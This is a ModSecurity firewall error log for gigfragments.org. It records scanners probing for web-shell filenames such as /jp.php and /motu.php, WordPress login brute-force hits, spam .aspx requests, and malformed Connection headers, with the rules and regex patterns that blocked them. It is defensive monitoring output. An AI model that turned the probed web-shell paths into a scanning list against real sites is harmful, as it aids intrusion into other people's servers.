[Mon Apr 06 01:08:39.715112 2026] [:error] [pid 51753:tid 51820] [client 158.158.72.207:60799] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "adKXF63pmp1JkaicYbtn1AAAAQk"]
[Mon Apr 06 01:08:40.559023 2026] [:error] [pid 51580:tid 51641] [client 158.158.72.207:63131] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adKXGFNFl1NiyNgNZAkfkQAAAEI"]
[Mon Apr 06 01:08:41.437473 2026] [:error] [pid 51581:tid 51694] [client 158.158.72.207:60737] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adKXGd4k74fhQLPUy7E6CgAAAJg"]
[Mon Apr 06 01:08:42.778038 2026] [:error] [pid 51580:tid 51642] [client 158.158.72.207:47899] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adKXGlNFl1NiyNgNZAkflgAAAEM"]
[Mon Apr 06 01:08:44.082722 2026] [:error] [pid 51753:tid 51822] [client 158.158.72.207:50917] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adKXHK3pmp1JkaicYbtn7gAAAQs"]
[Mon Apr 06 01:08:46.714928 2026] [:error] [pid 51580:tid 51663] [client 158.158.72.207:4409] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "adKXHlNFl1NiyNgNZAkfqQAAAFg"]
[Mon Apr 06 01:08:48.302223 2026] [:error] [pid 51580:tid 51648] [client 158.158.72.207:63161] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "adKXIFNFl1NiyNgNZAkfsgAAAEk"]
[Mon Apr 06 01:08:50.001059 2026] [:error] [pid 51580:tid 51643] [client 158.158.72.207:50426] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "adKXIlNFl1NiyNgNZAkfuQAAAEQ"]
[Mon Apr 06 01:08:51.966406 2026] [:error] [pid 51753:tid 51816] [client 158.158.72.207:4365] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "adKXI63pmp1JkaicYbtoBgAAAQU"]
[Mon Apr 06 01:08:52.756498 2026] [:error] [pid 51581:tid 51677] [client 158.158.72.207:54552] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "adKXJN4k74fhQLPUy7E6HQAAAIg"]
[Mon Apr 06 01:08:53.319898 2026] [:error] [pid 51753:tid 51812] [client 158.158.72.207:56902] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "adKXJa3pmp1JkaicYbtoDgAAAQE"]
[Mon Apr 06 01:08:54.011024 2026] [:error] [pid 51580:tid 51649] [client 158.158.72.207:50372] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "adKXJlNFl1NiyNgNZAkfxQAAAEo"]
[Mon Apr 06 01:08:54.875615 2026] [:error] [pid 51580:tid 51662] [client 158.158.72.207:63160] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "adKXJlNFl1NiyNgNZAkfyAAAAFc"]
[Mon Apr 06 01:08:55.520686 2026] [:error] [pid 51580:tid 51656] [client 158.158.72.207:56901] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/torsa1.php"] [unique_id "adKXJ1NFl1NiyNgNZAkfzgAAAFE"]
[Mon Apr 06 01:08:56.170182 2026] [:error] [pid 51581:tid 51678] [client 158.158.72.207:51468] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/torsa1.php"] [unique_id "adKXKN4k74fhQLPUy7E6HwAAAIk"]
[Mon Apr 06 01:08:57.211802 2026] [:error] [pid 51753:tid 51830] [client 158.158.72.207:63162] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/torsa1.php"] [unique_id "adKXKa3pmp1JkaicYbtoHAAAARM"]
[Mon Apr 06 01:08:58.118632 2026] [:error] [pid 51753:tid 51816] [client 158.158.72.207:62246] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/torsa1.php"] [unique_id "adKXKq3pmp1JkaicYbtoIgAAAQU"]
[Mon Apr 06 01:08:59.130012 2026] [:error] [pid 51580:tid 51654] [client 158.158.72.207:60742] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "adKXK1NFl1NiyNgNZAkf3gAAAE8"]
[Mon Apr 06 01:09:00.204719 2026] [:error] [pid 51753:tid 51813] [client 158.158.72.207:4360] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "adKXLK3pmp1JkaicYbtoLAAAAQI"]
[Mon Apr 06 01:09:01.258732 2026] [:error] [pid 51753:tid 51813] [client 158.158.72.207:50881] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "adKXLa3pmp1JkaicYbtoOAAAAQI"]
[Mon Apr 06 01:09:03.942483 2026] [:error] [pid 51580:tid 51661] [client 158.158.72.207:47884] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "adKXL1NFl1NiyNgNZAkf5QAAAFY"]
[Mon Apr 06 01:09:08.696734 2026] [:error] [pid 51580:tid 51639] [client 158.158.72.207:4372] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dass.php"] [unique_id "adKXNFNFl1NiyNgNZAkf8QAAAEA"]
[Mon Apr 06 01:11:05.796860 2026] [:error] [pid 51753:tid 51825] [client 47.251.82.1:52304] [client 47.251.82.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.251.82.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adKXqa3pmp1JkaicYbtqVgAAAQ4"]
[Mon Apr 06 02:55:10.361496 2026] [:error] [pid 51753:tid 51829] [client 54.37.252.212:46492] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "adKwDq3pmp1JkaicYbvZYAAAARI"]
[Mon Apr 06 02:55:12.466283 2026] [:error] [pid 51580:tid 51663] [client 54.37.252.212:43390] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "adKwEFNFl1NiyNgNZAlwdwAAAFg"]
[Mon Apr 06 02:55:14.488580 2026] [:error] [pid 51753:tid 51834] [client 54.37.252.212:43394] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "adKwEq3pmp1JkaicYbvZeAAAARY"]
[Mon Apr 06 02:55:16.642493 2026] [:error] [pid 51584:tid 51699] [client 54.37.252.212:59028] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "adKwFMZ4qY_GoNCPARBXrgAAAMI"]
[Mon Apr 06 02:55:18.640168 2026] [:error] [pid 51580:tid 51641] [client 54.37.252.212:59038] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "adKwFlNFl1NiyNgNZAlwkQAAAEI"]
[Mon Apr 06 02:55:21.702596 2026] [:error] [pid 51584:tid 51698] [client 54.37.252.212:59054] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "adKwGcZ4qY_GoNCPARBXwgAAAME"]
[Mon Apr 06 02:55:23.989574 2026] [:error] [pid 51584:tid 51698] [client 54.37.252.212:59058] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "adKwG8Z4qY_GoNCPARBX0AAAAME"]
[Mon Apr 06 02:55:26.371579 2026] [:error] [pid 51753:tid 51811] [client 54.37.252.212:54394] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "adKwHq3pmp1JkaicYbvZvQAAAQA"]
[Mon Apr 06 02:55:28.739848 2026] [:error] [pid 51580:tid 51654] [client 54.37.252.212:54402] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "adKwIFNFl1NiyNgNZAlwqgAAAE8"]
[Mon Apr 06 02:57:49.269096 2026] [:error] [pid 51584:tid 51702] [client 54.37.252.212:44264] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "adKwrcZ4qY_GoNCPARBZXgAAAMU"]
[Mon Apr 06 02:57:51.936810 2026] [:error] [pid 51581:tid 51676] [client 54.37.252.212:56636] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "adKwr94k74fhQLPUy7FtpQAAAIc"]
[Mon Apr 06 02:57:54.357479 2026] [:error] [pid 51584:tid 51721] [client 54.37.252.212:56652] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "adKwssZ4qY_GoNCPARBZhQAAANg"]
[Mon Apr 06 02:57:57.123886 2026] [:error] [pid 51580:tid 51645] [client 54.37.252.212:46480] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "adKwtVNFl1NiyNgNZAlyxwAAAEY"]
[Mon Apr 06 02:57:59.517687 2026] [:error] [pid 51753:tid 51822] [client 54.37.252.212:46484] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "adKwt63pmp1JkaicYbvcWwAAAQs"]
[Mon Apr 06 02:58:01.642478 2026] [:error] [pid 51753:tid 51818] [client 54.37.252.212:46500] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "adKwua3pmp1JkaicYbvcZQAAAQc"]
[Mon Apr 06 02:58:03.966273 2026] [:error] [pid 51753:tid 51835] [client 54.37.252.212:46504] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "adKwu63pmp1JkaicYbvccAAAARc"]
[Mon Apr 06 02:58:06.017754 2026] [:error] [pid 51753:tid 51830] [client 54.37.252.212:46514] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "adKwvq3pmp1JkaicYbvcewAAARM"]
[Mon Apr 06 02:58:09.907474 2026] [:error] [pid 51584:tid 51697] [client 54.37.252.212:53542] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "adKwwcZ4qY_GoNCPARBZ2AAAAMA"]
[Mon Apr 06 03:17:47.742717 2026] [:error] [pid 32340:tid 32376] [client 216.73.216.187:41458] [client 216.73.216.187] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||gigfragments.org|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "adK1W2eiKt3FjaPMj3MHMQAAAEA"]
[Mon Apr 06 04:01:07.143856 2026] [:error] [pid 35688:tid 35753] [client 49.233.45.47:49592] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adK_g-Z85qg4jLsRpQyAkgAAAIM"]
[Mon Apr 06 07:01:18.780411 2026] [:error] [pid 9442:tid 9453] [client 170.106.15.3:55294] [client 170.106.15.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adLpvkPsNnAJTnmz6sYCYQAAAQk"]
[Mon Apr 06 07:07:14.334053 2026] [:error] [pid 9442:tid 9453] [client 142.93.83.180:59438] [client 142.93.83.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.83.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adLrIkPsNnAJTnmz6sYF3gAAAQk"]
[Mon Apr 06 07:35:34.445140 2026] [:error] [pid 35786:tid 35814] [client 91.136.11.217:50712] [client 91.136.11.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.136.11.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adLxxmgkfCKTaLhwaKRacAAAANU"]
[Mon Apr 06 07:35:37.818458 2026] [:error] [pid 35686:tid 35708] [client 91.136.11.217:50722] [client 91.136.11.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.136.11.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adLxycMKdea6oORd2fx5wwAAAAw"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 06 08:18:05.776781 2026] [:error] [pid 35687:tid 35724] [client 43.135.36.201:39072] [client 43.135.36.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adL7vZ3LtDozV0i8BivDbQAAAEE"]
[Mon Apr 06 09:18:58.297780 2026] [:error] [pid 35686:tid 35706] [client 147.135.212.201:34252] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adMKAsMKdea6oORd2fyyxgAAAAo"]
[Mon Apr 06 09:19:00.267665 2026] [:error] [pid 35786:tid 35801] [client 147.135.212.201:46632] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adMKBGgkfCKTaLhwaKSIwAAAAMg"]
[Mon Apr 06 09:19:02.197891 2026] [:error] [pid 38562:tid 38584] [client 147.135.212.201:38012] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "adMKBqeD6Ohe6wzRuy5SxAAAAVM"]
[Mon Apr 06 09:19:04.227342 2026] [:error] [pid 35687:tid 35724] [client 147.135.212.201:38016] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "adMKCJ3LtDozV0i8BivRqgAAAEE"]
[Mon Apr 06 09:19:06.127412 2026] [:error] [pid 35688:tid 35759] [client 147.135.212.201:38022] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "adMKCuZ85qg4jLsRpQzsqgAAAIk"]
[Mon Apr 06 09:19:08.041484 2026] [:error] [pid 35688:tid 35760] [client 147.135.212.201:38026] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "adMKDOZ85qg4jLsRpQzsrwAAAIo"]
[Mon Apr 06 09:19:09.872141 2026] [:error] [pid 9442:tid 9454] [client 147.135.212.201:38036] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "adMKDUPsNnAJTnmz6sZfBAAAAQo"]
